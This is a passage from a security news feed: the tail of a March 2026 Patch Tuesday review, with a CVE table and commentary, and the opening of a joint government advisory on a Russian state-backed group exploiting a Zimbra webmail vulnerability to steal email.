  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
